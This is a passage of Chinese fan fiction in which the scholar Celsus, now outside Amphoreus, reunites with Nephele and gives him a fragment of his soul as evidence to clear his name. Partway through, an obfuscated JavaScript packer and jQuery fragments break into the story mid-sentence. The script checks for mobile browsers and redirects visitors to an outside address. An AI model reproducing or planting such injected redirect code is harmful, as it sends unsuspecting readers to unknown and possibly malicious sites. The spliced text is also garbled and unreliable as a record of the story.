记忆里的黑潮融化了，是眼前的学者驱散了方才的噩梦。
回过神来，使者拍开那只手，笑着抱怨道：“省省吧，塞勒苏斯，这不好玩。”
“不好玩吗？”塞勒苏斯的动作机械卡顿般停止了一瞬，“嗯，那就不玩了。总之，再见到你我很开心，涅斐勒。”
“见到？”看到学者鲜活的样子，涅斐勒不由得幻想道：“所以，你还活着吗？”
塞勒苏斯看向自己的手心，想了想，把那只手递给涅斐勒。
“多数无益，你自己来确认吧。”学者的表情淡然又坦诚。
涅斐勒深吸一口气，握住——没有握住那只手，而是直接从中穿了过去。涅斐勒看到塞勒苏斯的身体在那一瞬间虚化，身体表面泛起一层灰蓝光晕。这使他整个人看起来像是一片被白霜冻结的菩提树叶。
“奇怪。”涅斐勒看着自己的手，“明明刚刚还能——”
翁法罗斯入口处，看着涅斐勒宕机的样子，前神悟树庭贤者、现黑塔空间站「模拟宇宙」项目测试专员塞勒苏斯摇摇头。那身树庭学者的衣袍早被脱下，现在塞勒苏斯穿着的是黑塔空间站后勤保障处的员工为他定制的高档制服。至于现在的问题，有一个不得不讲的线索：在塞勒苏斯的视角下，被未知的力量凝滞，化作触不可及幻影的，反而是身处翁法罗斯之中的涅斐勒。
“想要让你明白我身上发生了什么，需要很多时间。对我来说，今天是休息日，但对你，恐怕没有那么多时间拿来听我讲故事。”
塞勒苏斯抬脚走向涅斐勒透明的虚影，短靴的鞋跟磕在地上，化作涅斐勒耳畔逼近的脚步声。
抬手轻触右耳佩戴的小型电子装置，笼罩在学者身上的光子薄膜在电流声中消失。
“再试试？”他这次说。
涅斐勒又试了一次。他碰到了那只手。
“这次成功了？”
看着好友脸上极少出现的，犹如被揪住后颈的猫一样呆愣的表情，塞勒苏斯承认自己在搜集模拟宇宙（内测版）BUG中缠成线团的心情变好了不少。
“在翁法罗斯，我已经死了，我的一切都消失在那天出现的黑潮里。”
涅斐勒陷入沉默。这是个糟糕到不能再糟糕的话题，就连一向冷静的塞勒苏斯都同样感到抗拒。但为了传递足够的信息，他还是忍着回想起那段感受的恶心继续说：
“不过别担心，只是在翁法罗斯而已。”
“只是在翁法罗斯？”有过探索天外经历的使者察觉了什么，“所以你现在是在——”
“不要回答。我们现在是绕过了艾格勒的目光悄悄通话的「僭越者」。”塞勒苏斯及时打断涅斐勒的话。对塞勒苏斯来说，死亡之后的冥土并不是塞纳托斯的国度，而是眼前这片头顶无垠宇宙的空间。他不确定如果说出什么会不会给涅斐勒招致灾难。
但涅斐勒心里已经有答案了。
“没关系，不知道原因、不知道过程都无所谓，只要确定你还活着就是最好的消息。”
塞勒苏斯点点头，“都是托「你」的福。终有一天，我们会在宇宙之外再见。”
“那天恐怕会很遥远。”说着，涅斐勒从再回的氛围中想起了最初的目的。“稍等，塞勒苏斯，我需要你的帮助。”他果断道。
他已经确定了当时那天的情况，从身体里涌出的黑潮已然将他的认知架在火刑架上用烈焰炙烤。
涅斐勒向塞勒苏斯快速地解释了一遍自己的计划与处境，学者出身的塞勒苏斯闭着眼思考了几秒，点点头，很快理解了一切。
“原来如此，你还有要处理的职责。”学者皱眉，“不过，我没想到，在我死后居然会有人把我的死归罪于你。”
“是啊，很可笑吧，但我没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448432|169313||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么办法，不是吗？”涅斐勒回答，“帮帮我，塞勒苏斯。”
他可以逃走，逃去塞勒苏斯现在所在的地方，但还有很多人留在翁法罗斯。
“我会帮你的。灵魂……记忆……将记忆作为影像重现，嗯。”塞勒苏斯思考了一会，抱起手臂，用确凿无疑的语气说：“我觉得，你需要这个。”
一条绿色小鱼游过涅斐勒的指缝。涅斐勒从小鱼身上感觉到塞勒苏斯的气息。
“死去之前，我分裂了自己的灵魂，在你的灵魂中，掺入了一小片我的灵魂。”塞勒苏斯说完，顿了顿，“虽然只是在探索中不小心留下的一片，但现在刚好能解决你的麻烦。比起你自己的记忆，用我这个「受害者」的记忆演示，更能让大家清楚真相。”
到时候，所有的佩拉斯人就都能堂堂正正地在翁法罗斯生活下去了。
涅斐勒看着那尾小鱼。这就是他寻求已久澄清罪名最有力的证据，但可能，也是塞勒苏斯在翁法罗斯最后的存在证明。
不，他在想什么？这不是犹豫的时候。
涅斐勒说：“谢谢，我会在合适的时候，好好使用它。”
塞勒苏斯张了张口，“……”
尽管涅斐勒从不开口，但凭借常识塞勒苏斯还是知道，他一定正身处卷起整个翁法罗斯的漩涡之中。抛去那些正式的话题，学者仍有许多话想与好友说。那些从他身上解明的疑惑，那些因「他」的帮助而遇见的人和事，把这些说给他听，一定能催生更多值得思考的命题。
“你应该很忙。”
“是有一点吧，怎么了吗？”涅斐勒说。
“不，没什么。”塞勒苏斯摇头。
学者清楚自己的短处，就比如说，不擅长在这种氛围里与人交流。
“下次见。涅斐勒。”塞勒苏斯看着涅斐勒的灰蓝虚影在眼前消逝，“下次见。”